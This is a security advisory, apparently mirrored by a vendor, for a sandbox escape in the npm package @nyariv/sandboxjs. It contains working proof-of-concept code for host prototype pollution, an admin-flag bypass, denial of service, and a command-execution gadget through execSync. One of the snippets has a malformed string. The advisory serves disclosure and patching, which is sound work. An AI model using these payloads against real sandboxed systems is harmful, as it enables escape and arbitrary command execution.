GHSA-jjpw-65fv-8g48
CRITICAL@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@nyariv/sandboxjsnpmDescription
Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
RCE via host gadget (prototype pollution -> execSync)
<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Additional Finding : Prototype mutation via intermediate reference
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Mutate Array.prototype.filter without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
Output:
host filter 1
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.29 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jjpw-65fv-8g48 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jjpw-65fv-8g48 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jjpw-65fv-8g48. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jjpw-65fv-8g48 in your dependencies?
O3 detects GHSA-jjpw-65fv-8g48 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.